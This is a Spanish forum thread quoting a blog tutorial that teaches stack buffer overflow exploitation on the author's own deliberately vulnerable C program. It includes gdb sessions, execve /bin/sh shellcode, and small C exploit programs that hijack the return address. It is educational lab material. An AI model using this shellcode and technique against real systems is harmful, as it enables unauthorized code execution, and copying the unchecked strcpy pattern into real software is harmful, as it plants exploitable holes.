Claro, es que no estoy poniendo tres ases más...
No sabes que al ejecutar el ret se saca de la pila la dirección que tienes que volver? Por eso al ejecutar el ret todo está cuatro bytes menos...
Te cito de mi blog:
---------------------------------------------------------------------------------------------------------
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico:
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería...
15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb) ¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes...
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Ahora escribimos el exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
    char nops [11];
    memset (nops, '\x90', 11);
    char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    char ret [5] = "\x04\xf9\xff\xbf";

    char command [47];
    strcpy (command, "./vuln ");
    strcat (command, nops);
    strcat (command, shellcode);
    strcat (command, ret);
    system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$

¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!

PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas

Un saludo! Os espero.
Sagrini
---------------------------------------------------------------------------------------------------------
Y primera parte
---------------------------------------------------------------------------------------------------------
Vale, esta entrega va a ir sobre cómo aprovechar un BoF para controlar un programa. Es bastante sencillo...

Primero escribimos un programa típicamente vulnerable.
#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

Compilamos y ejecutamos:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$

Como vemos no pasa nada... Si nos fijamos bien en "buffer" sólo caben 36 letras. ¿Y si le metemos más? Pues que el programa se sale...
juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "A"x50')
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "A"x50')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x50')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r $(perl -e 'print "A"x40 . "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "BBBB"')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Pues como vemos las As y las Bs "mueven" el flujo del programa. Entonces... ¿Podemos controlar un programa? Pues sí. Cambiemos el código:
#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

int feo ()
{
    printf ("Eres feo!!!");
    exit (0);
}


juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$
Sigue sin pasar nada. Feo nunca se ejecuta :-o. Pero como somos malévolos...

(gdb) x/x feo
0x8048468 <feo>:    0x83e58955
(gdb) r $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')

Breakpoint 1, 0x0804842a in vuln ()
(gdb) c
Continuing.
Eres feo!!!
Program exited normally.
(gdb)
El programa va hacia la función feo y se ejecuta...

Ahora, explicación...

Algunos programas no controlan que los datos que le introduces sean los adecuados. Esto supone que el programa pueda fallar. Si yo le meto 40 ases a un sitio donde caben 36, falla. Pero si le meto 4 más sobreescribo un registro del ordenador que controla la próxima instrucción a ejecutar. Esto hace que podamos controlar el programa.

En la prueba buscamos la dirección de la función "feo" que te dice "Eres feo!!!" y cierra el programa. Esto se consigue con un br (break) vuln, que para el programa en el punto "vuln" y nos dice la dirección del punto de parada. Sobreescribimos con Perl esta dirección... "Eres feo!!!"

Ahora escribamos un exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
    char nops [40];
    memset (nops, 'A', 40);
    char ret [5] = "\x68\x84\x04\x08";

    char command [51];
    strcpy (command, "./vuln ");
    strcat (command, nops);
    strcat (command, ret);
    system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Eres feo!!!juanra@Juanra:~/Escritorio/Shell$

Vale, ahora os explico: El programa lo único que hace es introducir 40 ases y la dirección de "feo" en una variable y ejecutar el programa. Con este sencillo método hemos aprendido a explotar una parte de los fallos más comunes...
Os espero en las entregas venideras...
Un saludo!
Sagrini
---------------------------------------------------------------------------------------------------------

Escríbeme por PM las dudas...
Suerte!

Vale, creo que ya lo hemos solucionado. Verdad, Belial & Grimoire?
@M3st4ng, no sé de qué te sirve. Si sigues teniendo dudas, escríbeme. Si no, pásate por mi blog.
Ahora, cosa aparte, releo tu mensaje... No queremos ver cómo se copia. Sencillamente queremos hacer que funcione en su máquina

Para saber vuestra dirección de retorno...

Para ejecutar el exploit desde la línea de comandos:

Exploit en C:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main ()
{
	char nops [11];
	memset (nops, '\x90', 11);
	char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
	char ret [5] = "\x04\xf9\xff\xbf";
 
	char command [47];
	strcpy (command, "./vuln ");
	strcat (command, nops);
	strcat (command, shellcode);
	strcat (command, ret);
	system (command);
}
 

Wow, mucho mejor explicado que lo mio! El detalle habría sido continuar el programa
Muchas gracias! Ahora mismo estoy escribiendo el punto 2 del taller (el uno va por parte de Iván xD) y voy a añadirlo para que se vea mejor...